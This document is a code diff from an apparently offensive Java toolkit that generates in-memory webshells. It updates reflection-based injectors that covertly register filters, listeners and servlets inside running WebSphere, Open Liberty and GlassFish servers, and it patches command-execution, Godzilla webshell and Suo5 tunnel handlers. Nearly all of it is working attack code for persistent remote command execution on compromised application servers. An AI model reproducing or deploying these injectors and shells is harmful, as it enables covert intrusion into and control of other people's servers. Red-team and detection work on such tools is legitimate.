             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -87,11 +84,32 @@ public class WebSphereFilterInjector {
      */
     public Set<Object> getContext() throws Exception {
         Set<Object> contexts = new HashSet<Object>();
-        Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
+        Object[] threadLocals = null;
-        for (Object wsThreadLocal : wsThreadLocals) {
+        boolean raw = false;
+        try {
+            // WebSphere Liberty
+            threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
+        } catch (NoSuchFieldException ignored) {
+        }
+        if (threadLocals == null) {
+            // Open Liberty
+            threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
+            raw = true;
+        }
+        for (Object threadLocal : threadLocals) {
+            if (threadLocal == null) {
+                continue;
+            }
+            Object value = threadLocal;
+            if (raw) {
+                value = getFieldValue(threadLocal, "value");
+            }
+            if (value == null) {
+                continue;
+            }
             // for websphere 7.x
-            if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
+            if (value.getClass().getName().endsWith("FastStack")) {
-                Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
+                Object[] stackList = (Object[]) getFieldValue(value, "stack");
                 for (Object stack : stackList) {
                     try {
                         Object config = getFieldValue(stack, "config");
@@ -99,8 +117,9 @@ public class WebSphereFilterInjector {
                     } catch (Exception ignored) {
                     }
                 }
-            } else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
+            } else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
-                contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
+                Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
+                contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
             }
         }
         return contexts;
@@ -132,43 +151,42 @@ public class WebSphereFilterInjector {
 
     @SuppressWarnings("unchecked")
     public void inject(Object context, Object filter) throws Exception {
-        Object webAppConfiguration = getFieldValue(context, "config");
+        Object webAppConfig = getFieldValue(context, "config");
-        if (invokeMethod(webAppConfiguration, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
+        if (invokeMethod(webAppConfig, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
             return;
         }
 
-        ClassLoader classLoader = context.getClass().getClassLoader();
+        Class<?> filterMappingClass = loadClass(context.getClass(), "com.ibm.ws.webcontainer.filter.FilterMapping");
-        Class<?> filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping");
+        Class<?> iFilterConfigClass = loadClass(context.getClass(), "com.ibm.wsspi.webcontainer.filter.IFilterConfig");
-        Class<?> iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig");
+        Class<?> iServletConfigClass = loadClass(context.getClass(), "com.ibm.wsspi.webcontainer.servlet.IServletConfig");
-        Class<?> iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig");
 
         Object filterManager = getFieldValue(context, "filterManager");
-        try {
-            // v8
-            Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass);
-            // com.ibm.ws.webcontainer.webapp.WebApp.commonAddFilter
-            setFieldValue(context, "initialized", false);
-            Object filterConfig = invokeMethod(context, "commonAddFilter", new Class[]{String.class, String.class, Filter.class, Class.class}, new Object[]{getClassName(), getClassName(), filter, filter.getClass()});
-            Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null);
-            setFieldValue(context, "initialized", true);
-
-            // com.ibm.ws.webcontainer.filter.WebAppFilterManager.addFilterMapping
-            invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
-
-            // com.ibm.ws.webcontainer.filter.WebAppFilterManager#_loadFilter
-            invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()});
-
-        } catch (Exception e) {
-            // v7
         Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{getClassName()});
-            invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{filter.getClass().getName()});
+        invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{getClassName()});
-            setFieldValue(filterConfig, "dispatchMode", new int[]{0});
         setFieldValue(filterConfig, "name", getClassName());
-            invokeMethod(context, "addMappingFilter", new Class[]{String.class, iFilterConfigClass}, new Object[]{getUrlPattern(), filterConfig});
+        Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass);
-            invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()});
+        Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null);
+        invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
+        invokeMethod(webAppConfig, "addFilterInfo", new Class[]{iFilterConfigClass}, new Object[]{filterConfig});
+
+        try {
+            List uriFilterMappingInfos = (List) getFieldValue(webAppConfig, "uriFilterMappingInfos");
+            uriFilterMappingInfos.remove(filterMapping);
+            uriFilterMappingInfos.add(0, filterMapping);
+        } catch (Exception e) {
+            // WebSphere7
+            List uriFilterMappings = (List) getFieldValue(filterManager, "_uriFilterMappings");
+            Object fmInfo = uriFilterMappings.remove(uriFilterMappings.size() - 1);
+            uriFilterMappings.add(0, fmInfo);
         }
+
         // 清除缓存
-        invokeMethod(getFieldValue(filterManager, "chainCache"), "clear", null, null);
+        Object chainCache = getFieldValue(filterManager, "chainCache");
+        try {
+            invokeMethod(chainCache, "clear", null, null);
+        } catch (Exception e) {
+            invokeMethod(getFieldValue(chainCache, "chainCacheMap"), "clear", null, null);
+        }
     }
 
     @Override
@@ -176,6 +194,19 @@ public class WebSphereFilterInjector {
         return msg;
     }
 
+    // bypass osgi
+    public static Class<?> loadClass(Class<?> context, String className) throws ClassNotFoundException {
+        if (context.equals(Object.class)) {
+            throw new ClassNotFoundException(className);
+        }
+        ClassLoader loader = context.getClassLoader();
+        try {
+            return loader.loadClass(className);
+        } catch (ClassNotFoundException e) {
+            return loadClass(context.getSuperclass(), className);
+        }
+    }
+
     @SuppressWarnings("all")
     public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
             Exception {
@@ -255,13 +286,9 @@ public class WebSphereFilterInjector {
 
     @SuppressWarnings("all")
     public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
-        try {
         Field field = getField(obj, name);
         field.setAccessible(true);
         return field.get(obj);
-        } catch (NoSuchFieldException ignored) {
-        }
-        return null;
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java

@@ -38,7 +38,7 @@ public class WebSphereListenerInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -75,11 +75,32 @@ public class WebSphereListenerInjector {
 
     public Set<Object> getContext() throws Exception {
         Set<Object> contexts = new HashSet<Object>();
-        Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
+        Object[] threadLocals = null;
-        for (Object wsThreadLocal : wsThreadLocals) {
+        boolean raw = false;
+        try {
+            // WebSphere Liberty
+            threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
+        } catch (NoSuchFieldException ignored) {
+        }
+        if (threadLocals == null) {
+            // Open Liberty
+            threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
+            raw = true;
+        }
+        for (Object threadLocal : threadLocals) {
+            if (threadLocal == null) {
+                continue;
+            }
+            Object value = threadLocal;
+            if (raw) {
+                value = getFieldValue(threadLocal, "value");
+            }
+            if (value == null) {
+                continue;
+            }
             // for websphere 7.x
-            if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
+            if (value.getClass().getName().endsWith("FastStack")) {
-                Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
+                Object[] stackList = (Object[]) getFieldValue(value, "stack");
                 for (Object stack : stackList) {
                     try {
                         Object config = getFieldValue(stack, "config");
@@ -87,8 +108,9 @@ public class WebSphereListenerInjector {
                     } catch (Exception ignored) {
                     }
                 }
-            } else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
+            } else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
-                contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
+                Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
+                contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
             }
         }
         return contexts;

generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java

@@ -6,7 +6,9 @@ import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.*;
+import java.util.HashSet;
+import java.util.Properties;
+import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -39,7 +41,7 @@ public class WebSphereServletInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -76,11 +78,32 @@ public class WebSphereServletInjector {
 
     public Set<Object> getContext() throws Exception {
         Set<Object> contexts = new HashSet<Object>();
-        Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
+        Object[] threadLocals = null;
-        for (Object wsThreadLocal : wsThreadLocals) {
+        boolean raw = false;
+        try {
+            // WebSphere Liberty
+            threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
+        } catch (NoSuchFieldException ignored) {
+        }
+        if (threadLocals == null) {
+            // Open Liberty
+            threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
+            raw = true;
+        }
+        for (Object threadLocal : threadLocals) {
+            if (threadLocal == null) {
+                continue;
+            }
+            Object value = threadLocal;
+            if (raw) {
+                value = getFieldValue(threadLocal, "value");
+            }
+            if (value == null) {
+                continue;
+            }
             // for websphere 7.x
-            if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
+            if (value.getClass().getName().endsWith("FastStack")) {
-                Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
+                Object[] stackList = (Object[]) getFieldValue(value, "stack");
                 for (Object stack : stackList) {
                     try {
                         Object config = getFieldValue(stack, "config");
@@ -88,8 +111,9 @@ public class WebSphereServletInjector {
                     } catch (Exception ignored) {
                     }
                 }
-            } else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
+            } else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
-                contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
+                Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
+                contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
             }
         }
         return contexts;

generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFish.java

@@ -1,9 +1,9 @@
 package com.reajason.javaweb.memshell.server;
 
+import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector;
 import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
 import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
 import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
-import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector;
 import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
 import com.reajason.javaweb.utils.ShellCommonUtil;
 import net.bytebuddy.asm.Advice;
@@ -43,8 +43,8 @@ public class GlassFish extends AbstractServer {
         return InjectorMapping.builder()
                 .addInjector(LISTENER, TomcatListenerInjector.class)
                 .addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
-                .addInjector(FILTER, TomcatFilterInjector.class)
+                .addInjector(FILTER, GlassFishFilterInjector.class)
-                .addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
+                .addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class)
                 .addInjector(VALVE, GlassFishValveInjector.class)
                 .addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
                 .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/Command.java

@@ -27,6 +27,8 @@ public class Command {
                 InputStream inputStream = getInputStream(param);
                 OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
                 outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
+                outputStream.flush();
+                outputStream.close();
                 return true;
             }
         } catch (Throwable e) {

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandControllerHandler.java

@@ -7,6 +7,7 @@ import javax.servlet.ServletOutputStream;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import java.io.InputStream;
+import java.util.Scanner;
 
 /**
  * @author ReaJason
@@ -24,12 +25,9 @@ public class CommandControllerHandler implements Controller {
             if (p != null) {
                 String param = getParam(p);
                 InputStream inputStream = getInputStream(param);
-                ServletOutputStream outputStream = response.getOutputStream();
+                response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
-                byte[] buf = new byte[8192];
+                response.getWriter().flush();
-                int length;
+                response.getWriter().close();
-                while ((length = inputStream.read(buf)) != -1) {
-                    outputStream.write(buf, 0, length);
-                }
             }
         } catch (Throwable e) {
             e.printStackTrace();

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java

@@ -5,6 +5,7 @@ import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import java.io.IOException;
 import java.io.InputStream;
+import java.util.Scanner;
 
 /**
  * @author ReaJason
@@ -25,12 +26,9 @@ public class CommandFilter implements Filter {
             if (p != null) {
                 String param = getParam(p);
                 InputStream inputStream = getInputStream(param);
-                ServletOutputStream outputStream = servletResponse.getOutputStream();
+                response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
-                byte[] buf = new byte[8192];
+                response.getWriter().flush();
-                int length;
+                response.getWriter().close();
-                while ((length = inputStream.read(buf)) != -1) {
-                    outputStream.write(buf, 0, length);
-                }
                 return;
             }
         } catch (Throwable e) {

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandInterceptor.java

@@ -26,6 +26,8 @@ public class CommandInterceptor implements AsyncHandlerInterceptor {
                 String param = getParam(p);
                 InputStream inputStream = getInputStream(param);
                 response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
+                response.getWriter().flush();
+                response.getWriter().close();
                 return false;
             }
         } catch (Throwable e) {

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyAgentHandler.java

@@ -43,6 +43,8 @@ public class CommandJettyAgentHandler {
                 InputStream inputStream = getInputStream(param);
                 OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
                 outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
+                outputStream.flush();
+                outputStream.close();
                 if (baseRequest != null) {
                     baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
                 }

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyCustomizer.java

@@ -32,6 +32,8 @@ public class CommandJettyCustomizer implements HttpConfiguration.Customizer {
                 InputStream inputStream = getInputStream(param);
                 OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
                 outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
+                outputStream.flush();
+                outputStream.close();
                 invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true});
             }
         } catch (Throwable e) {

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java

@@ -40,6 +40,8 @@ public class CommandJettyHandler {
                 InputStream inputStream = getInputStream(param);
                 OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
                 outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
+                outputStream.flush();
+                outputStream.close();
                 return true;
             }
         } catch (Throwable e) {

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java

@@ -6,6 +6,7 @@ import javax.servlet.ServletRequestListener;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import java.io.InputStream;
+import java.util.Scanner;
 
 /**
  * @author ReaJason
@@ -23,14 +24,11 @@ public class CommandListener implements ServletRequestListener {
             }
             if (p != null) {
                 String param = getParam(p);
-                HttpServletResponse servletResponse = (HttpServletResponse) getResponseFromRequest(request);
+                HttpServletResponse response = (HttpServletResponse) getResponseFromRequest(request);
                 InputStream inputStream = getInputStream(param);
-                ServletOutputStream outputStream = servletResponse.getOutputStream();
+                response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
-                byte[] buf = new byte[8192];
+                response.getWriter().flush();
-                int length;
+                response.getWriter().close();
-                while ((length = inputStream.read(buf)) != -1) {
-                    outputStream.write(buf, 0, length);
-                }
             }
         } catch (Throwable e) {
             e.printStackTrace();

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java

@@ -7,6 +7,7 @@ import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import java.io.IOException;
 import java.io.InputStream;
+import java.util.Scanner;
 
 /**
  * @author ReaJason
@@ -30,12 +31,9 @@ public class CommandServlet extends HttpServlet {
             if (p != null) {
                 String param = getParam(p);
                 InputStream inputStream = getInputStream(param);
-                ServletOutputStream outputStream = response.getOutputStream();
+                response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
-                byte[] buf = new byte[8192];
+                response.getWriter().flush();
-                int length;
+                response.getWriter().close();
-                while ((length = inputStream.read(buf)) != -1) {
-                    outputStream.write(buf, 0, length);
-                }
             }
         } catch (Throwable e) {
             e.printStackTrace();

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandStruct2Action.java

@@ -29,6 +29,7 @@ public class CommandStruct2Action {
                 InputStream inputStream = getInputStream(param);
                 response.getWriter().println(new Scanner(inputStream).useDelimiter("\\A").next());
                 response.getWriter().flush();
+                response.getWriter().close();
             }
         } catch (Throwable ignored) {
         }

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUndertowServletHandler.java

@@ -32,6 +32,8 @@ public class CommandUndertowServletHandler {
                 InputStream inputStream = getInputStream(param);
                 OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
                 outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
+                outputStream.flush();
+                outputStream.close();
                 return true;
             }
         } catch (Throwable e) {

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUpgrade.java

@@ -35,7 +35,7 @@ public class CommandUpgrade implements UpgradeProtocol {
                 OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
                 outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
                 outputStream.flush();
-                inputStream.close();
+                outputStream.close();
                 return true;
             }
         } catch (Throwable e) {

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java

@@ -26,6 +26,8 @@ public class CommandValve implements Valve {
                 String param = getParam(p);
                 InputStream inputStream = getInputStream(param);
                 response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
+                response.getWriter().flush();
+                response.getWriter().close();
                 return;
             }
         } catch (Throwable e) {

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java

@@ -6,6 +6,7 @@ import javax.websocket.MessageHandler;
 import javax.websocket.Session;
 import java.io.ByteArrayOutputStream;
 import java.io.InputStream;
+import java.util.Scanner;
 
 /**
  * <a href="https://github.com/veo/wsMemShell">wsMemShell</a>
@@ -21,13 +22,7 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
     public void onMessage(String cmd) {
         try {
             InputStream inputStream = getInputStream(getParam(cmd));
-            byte[] buf = new byte[8192];
+            session.getBasicRemote().sendText(new Scanner(inputStream).useDelimiter("\\A").next());
-            int length;
-            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
-            while ((length = inputStream.read(buf)) != -1) {
-                outputStream.write(buf, 0, length);
-            }
-            session.getBasicRemote().sendText(outputStream.toString());
         } catch (Throwable e) {
             e.printStackTrace();
         }

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java

@@ -51,6 +51,8 @@ public class Godzilla extends ClassLoader {
                         writer.write(md5.substring(0, 16));
                         writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                         writer.write(md5.substring(16));
+                        writer.flush();
+                        writer.close();
                     }
                 } catch (Throwable e) {
                     e.printStackTrace();

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java

@@ -49,6 +49,8 @@ public class GodzillaControllerHandler extends ClassLoader implements Controller
                         writer.write(md5.substring(0, 16));
                         writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                         writer.write(md5.substring(16));
+                        writer.flush();
+                        writer.close();
                     }
                 } catch (Throwable e) {
                     e.printStackTrace();

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java

@@ -51,6 +51,8 @@ public class GodzillaFilter extends ClassLoader implements Filter {
                         writer.write(md5.substring(0, 16));
                         writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                         writer.write(md5.substring(16));
+                        writer.flush();
+                        writer.close();
                     }
                 } catch (Throwable e) {
                     e.printStackTrace();

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java

@@ -50,6 +50,8 @@ public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInte
                         writer.write(md5.substring(0, 16));
                         writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                         writer.write(md5.substring(16));
+                        writer.flush();
+                        writer.close();
                     }
                 } catch (Throwable e) {
                     e.printStackTrace();

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyAgentHandler.java

@@ -66,6 +66,8 @@ public class GodzillaJettyAgentHandler extends ClassLoader {
                         writer.write(md5.substring(0, 16));
                         writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                         writer.write(md5.substring(16));
+                        writer.flush();
+                        writer.close();
                     }
                     if (baseRequest != null) {
                         baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyCustomizer.java

@@ -53,6 +53,8 @@ public class GodzillaJettyCustomizer extends ClassLoader implements HttpConfigur
                         writer.write(md5.substring(0, 16));
                         writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                         writer.write(md5.substring(16));
+                        writer.flush();
+                        writer.close();
                     }
                 } catch (Throwable e) {
                     e.printStackTrace();

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java

@@ -57,6 +57,8 @@ public class GodzillaJettyHandler {
                         writer.write(md5.substring(0, 16));
                         writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                         writer.write(md5.substring(16));
+                        writer.flush();
+                        writer.close();
                     }
                 } catch (Throwable e) {
                     e.printStackTrace();

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java

@@ -50,6 +50,8 @@ public class GodzillaListener extends ClassLoader implements ServletRequestListe
                         writer.write(md5.substring(0, 16));
                         writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                         writer.write(md5.substring(16));
+                        writer.flush();
+                        writer.close();
                     }
                 } catch (Throwable e) {
                     e.printStackTrace();

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java

@@ -51,6 +51,8 @@ public class GodzillaServlet extends ClassLoader implements Servlet {
                         writer.write(md5.substring(0, 16));
                         writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                         writer.write(md5.substring(16));
+                        writer.flush();
+                        writer.close();
                     }
                 } catch (Throwable e) {
                     e.printStackTrace();

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaStruct2Action.java

@@ -47,6 +47,8 @@ public class GodzillaStruct2Action {
                         writer.write(md5.substring(0, 16));
                         writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                         writer.write(md5.substring(16));
+                        writer.flush();
+                        writer.close();
                     }
                 } catch (Throwable e) {
                     e.printStackTrace();

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java

@@ -56,6 +56,8 @@ public class GodzillaUndertowServletHandler extends ClassLoader {
                         writer.write(md5.substring(0, 16));
                         writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                         writer.write(md5.substring(16));
+                        writer.flush();
+                        writer.close();
                     }
                 } catch (Throwable e) {
                     e.printStackTrace();

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java

@@ -51,6 +51,8 @@ public class GodzillaValve extends ClassLoader implements Valve {
                         writer.write(md5.substring(0, 16));
                         writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                         writer.write(md5.substring(16));
+                        writer.flush();
+                        writer.close();
                     }
                 } catch (Throwable e) {
                     e.printStackTrace();

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2.java

@@ -183,7 +183,11 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
             }
         } catch (Throwable ignored) {
         } finally {
-
+            try {
+                OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
+                out.flush();
+                out.close();
+            } catch (Throwable ignore) {}
         }
     }
 

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java

@@ -162,7 +162,11 @@ public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVe
             }
         } catch (Throwable e) {
         } finally {
-
+            try {
+                OutputStream out = resp.getOutputStream();
+                out.flush();
+                out.close();
+            } catch (Throwable ignored) {}
         }
     }
 
@@ -988,109 +992,6 @@ public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVe
         return new String(randomChars);
     }
 
-    private int toOffset(byte[] bs) {
-        if (bs == null || bs.length != 4) {
-            return 0;
-        }
-        try {
-            bs = base64UrlDecode(new String(bs));
-            return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
-        } catch (Exception e) {
-
-            return 0;
-        }
-    }
-
-    private String getOffset(HttpServletRequest request) {
-        String cookieValue = request.getHeader("Cookie");
-        if (cookieValue != null && cookieValue.length() > 0) {
-            ArrayList cookieVals = cookieValues(cookieValue);
-            for (int i = 0; i < cookieVals.size(); i++) {
-                String val = (String) cookieVals.get(i);
-                if (val.length() >= 12) {
-                    if (is_valid(val.substring(val.length() - 8), 430) != null) {
-                        return val;
-                    }
-                }
-            }
-        }
-
-        Enumeration headerNames = request.getHeaderNames();
-        while (headerNames != null && headerNames.hasMoreElements()) {
-            String headerName = (String) headerNames.nextElement();
-            String val = request.getHeader(headerName);
-            if (val.length() >= 12) {
-                if (is_valid(val.substring(val.length() - 8), 430) != null) {
-                    return val;
-                }
-            }
-        }
-
-        return null;
-    }
-
-    private byte[] is_valid(String data, int sum) {
-        try {
-            byte[] result = base64UrlDecode(data);
-            if (result.length < 6) {
-                return null;
-            } else {
-                int i = result.length - 2;
-                int j = result.length - 3;
-                int p = result.length - 5;
-                int q = result.length - 6;
-                boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
-                return valid ? result : null;
-            }
-        } catch (Exception var8) {
-            return null;
-        }
-    }
-
-    private boolean isOdd(int i) {
-        return (i & 1) == 1;
-    }
-
-    private int toUInt(byte x) {
-        return x & 255;
-    }
-
-    public static String md5(byte[] content) {
-        MessageDigest md = null;
-        try {
-            md = MessageDigest.getInstance("MD5");
-        } catch (NoSuchAlgorithmException e) {
-            throw new RuntimeException(e);
-        }
-        byte[] md5Bytes = md.digest(content);
-        // no String.format in java1.4
-        StringBuffer sb = new StringBuffer();
-        for (int i = 0; i < md5Bytes.length; i++) {
-            byte b = md5Bytes[i];
-            int value = b & 0xFF;
-            if (value < 16) {
-                sb.append('0');
-            }
-            sb.append(Integer.toHexString(value));
-        }
-        return sb.toString();
-    }
-
-    private ArrayList cookieValues(String cookieValue) {
-        ArrayList values = new ArrayList();
-        String[] cookiePairs = cookieValue.split(";");
-
-        for (int i = 0; i < cookiePairs.length; i++) {
-            String pair = cookiePairs[i];
-            String[] keyValue = pair.split("=", 2);
-            if (keyValue.length >= 2) {
